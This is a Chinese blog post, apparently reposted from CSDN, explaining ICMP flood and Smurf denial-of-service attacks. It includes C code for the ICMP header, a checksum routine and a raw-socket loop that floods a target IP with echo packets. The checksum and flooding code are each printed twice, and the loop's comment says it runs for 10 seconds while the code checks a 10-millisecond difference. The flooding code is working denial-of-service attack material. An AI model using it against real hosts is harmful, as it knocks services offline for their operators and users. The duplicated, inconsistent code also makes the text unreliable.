ICMP flood 攻擊

http://blog.csdn.net/hwhaocool/article/details/22697325

icmp flood屬于flood的其中一種.
達(dá)到效果有以下實(shí)現(xiàn)方法

1.兩敗俱傷

大量的 ICMP消息發(fā)送給目標(biāo)系統(tǒng),使得它不能夠?qū)戏ǖ姆?wù)請(qǐng)求做出響應(yīng)。中美黑客大戰(zhàn)中的多數(shù)中國(guó)黑客采用的正是此項(xiàng)技術(shù)。ICMP FLOOD攻擊實(shí)際上是一種兩敗俱傷的攻擊方式,在主機(jī)"瘋狂"地向攻擊目標(biāo)發(fā)送ICMP消息的時(shí)候,主機(jī)也在消耗自身的系統(tǒng)資源。如果自身的網(wǎng)絡(luò)資源小 于目標(biāo)的話,這種攻擊就是"蚍蜉撼大樹"。因此,ICMP FLOOD攻擊為了達(dá)到很好的效果,往往要聯(lián)合多臺(tái)機(jī)器同時(shí)攻擊同一臺(tái)機(jī)器,從而形成分布式拒絕服務(wù)攻擊(DDoS)。

2.借刀殺人

攻擊者向許多地址發(fā)送ICMP Echo Request,但是它卻告訴這些地址ICMP Echo Request不是它自己發(fā)的,而是"某某"發(fā)的,這個(gè)"某某"就會(huì)成為"眾矢之的"。通過偽裝目的主機(jī)的IP地址,向多個(gè)IP 網(wǎng)絡(luò)的廣播地址發(fā)送ICMP Echo Request數(shù)據(jù)包,使得目的主機(jī)需要消耗大量CPU 資源和有效帶寬來處理來自眾多節(jié)點(diǎn)的ICMP Reply數(shù)據(jù)包。該攻擊的原理如下圖:


v979yc5i62ve[1].gif

從圖中可以看出,帶寬僅為128Kbps的攻擊者可以擊潰帶寬比其更大(512Kbps)的目標(biāo),因?yàn)镮CMP SMURF采用的手段是"借刀殺人"!它本身并不向目標(biāo)發(fā)送ICMP消息,而是向許多遠(yuǎn)程主機(jī)"誣告"攻擊目標(biāo)向他們發(fā)送了ICMP Echo,于是這些遠(yuǎn)程主機(jī)紛紛向攻擊目標(biāo)發(fā)送ICMP Reply,導(dǎo)致攻擊目標(biāo)崩潰。有明一代名將袁崇煥督師就是因?yàn)闈M人的反間計(jì)而被崇禎凌遲,并被當(dāng)時(shí)的北京市民爭(zhēng)其肉而食的。網(wǎng)絡(luò)攻擊中的"借刀殺人"照 樣威力無窮。


2014033123061208437[1].png

305dd7ea50e1706daeafd55c[1].jpg
//定義ICMP首部
typedef struct _icmphdr{
unsigned char i_type; //8位類型
unsigned char i_code; //8位代碼
unsigned short i_cksum; //16位校驗(yàn)和, 從TYPE開始,直到最后一位用戶數(shù)據(jù),如果為字節(jié)數(shù)為奇數(shù)則補(bǔ)充一位
unsigned short i_id ; //識(shí)別號(hào)(一般用進(jìn)程號(hào)作為識(shí)別號(hào)), 用于匹配ECHO和ECHO REPLY包
unsigned short i_seq ; //報(bào)文序列號(hào), 用于標(biāo)記ECHO報(bào)文順序
unsigned int timestamp; //時(shí)間戳
}ICMP_HEADER; 

計(jì)算校驗(yàn)和的經(jīng)典函數(shù):

SHORT checksum(USHORT* buffer, int size)
{
    unsigned long cksum = 0;
    while(size>1)
    {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum>>16) + (cksum&0xffff); 
    cksum += (cksum>>16); 
    return (USHORT)(~cksum);
} 

計(jì)算校驗(yàn)和的經(jīng)典函數(shù):

SHORT checksum(USHORT* buffer, int size)
{
    unsigned long cksum = 0;
    while(size>1)
    {
        cksum += *buffer++;
        size -= sizeof(USHORT);
    }
    if(size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum>>16) + (cksum&0xffff); 
    cksum += (cksum>>16); 
    return (USHORT)(~cksum);
} 
<meta charset="utf-8">

[cpp] [view plain](http://blog.csdn.net/hwhaocool/article/details/22697325#) [copy](http://blog.csdn.net/hwhaocool/article/details/22697325#) [print?](http://blog.csdn.net/hwhaocool/article/details/22697325#)

1.  /////////生成ICMP會(huì)送請(qǐng)求報(bào)文  
2.  char icmp_data[65535]={0};                  //要發(fā)送的字符串  

4.  ((IcmpHeader*)icmp_data)->chksum=0;  
5.  ((IcmpHeader*)icmp_data)->type=8;                //會(huì)送請(qǐng)求  
6.  ((IcmpHeader*)icmp_data)->code=0;                //  
7.  ((IcmpHeader*)icmp_data)->id=2;    
8.  ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //設(shè)置時(shí)間戳  
9.  ((IcmpHeader*)icmp_data)->seq=0;                             //序列號(hào)  

11.  memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);  
12.  ((IcmpHeader*)icmp_data)->chksum=  
13.  checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校驗(yàn)和  
14.  int datasize=sizeof(IcmpHeader)+PACKET_SIZE;  

16.  //開始發(fā)送數(shù)據(jù)報(bào)文了  
17.  sockaddr_in dst;  
18.  dst.sin_family=AF_INET;  
19.  dst.sin_addr.S_un.S_addr=inet_addr(dstIP);  
20.  DWORD dwStart=GetTickCount();  
21.  while(GetTickCount()-dwStart<10)          //程序運(yùn)行10秒后退出  
22.  sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));

/////////生成ICMP會(huì)送請(qǐng)求報(bào)文
    char icmp_data[65535]={0};                  //要發(fā)送的字符串

    ((IcmpHeader*)icmp_data)->chksum=0;
    ((IcmpHeader*)icmp_data)->type=8;               //會(huì)送請(qǐng)求
    ((IcmpHeader*)icmp_data)->code=0;               //
    ((IcmpHeader*)icmp_data)->id=2; 
    ((IcmpHeader*)icmp_data)->timestamp=GetTickCount();         //設(shè)置時(shí)間戳
    ((IcmpHeader*)icmp_data)->seq=0;                             //序列號(hào)

    memset(icmp_data+sizeof(IcmpHeader),'E',PACKET_SIZE);
    ((IcmpHeader*)icmp_data)->chksum=
        checksum((USHORT*)icmp_data,sizeof(IcmpHeader)+PACKET_SIZE);  //填入校驗(yàn)和
    int datasize=sizeof(IcmpHeader)+PACKET_SIZE;

    //開始發(fā)送數(shù)據(jù)報(bào)文了
    sockaddr_in dst;
    dst.sin_family=AF_INET;
    dst.sin_addr.S_un.S_addr=inet_addr(dstIP);
    DWORD dwStart=GetTickCount();
    while(GetTickCount()-dwStart<10)          //程序運(yùn)行10秒后退出
    sendto(sockRAW,icmp_data,datasize,0,(struct sockaddr*)&dst,sizeof(dst));
20140401014054218[1].png
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容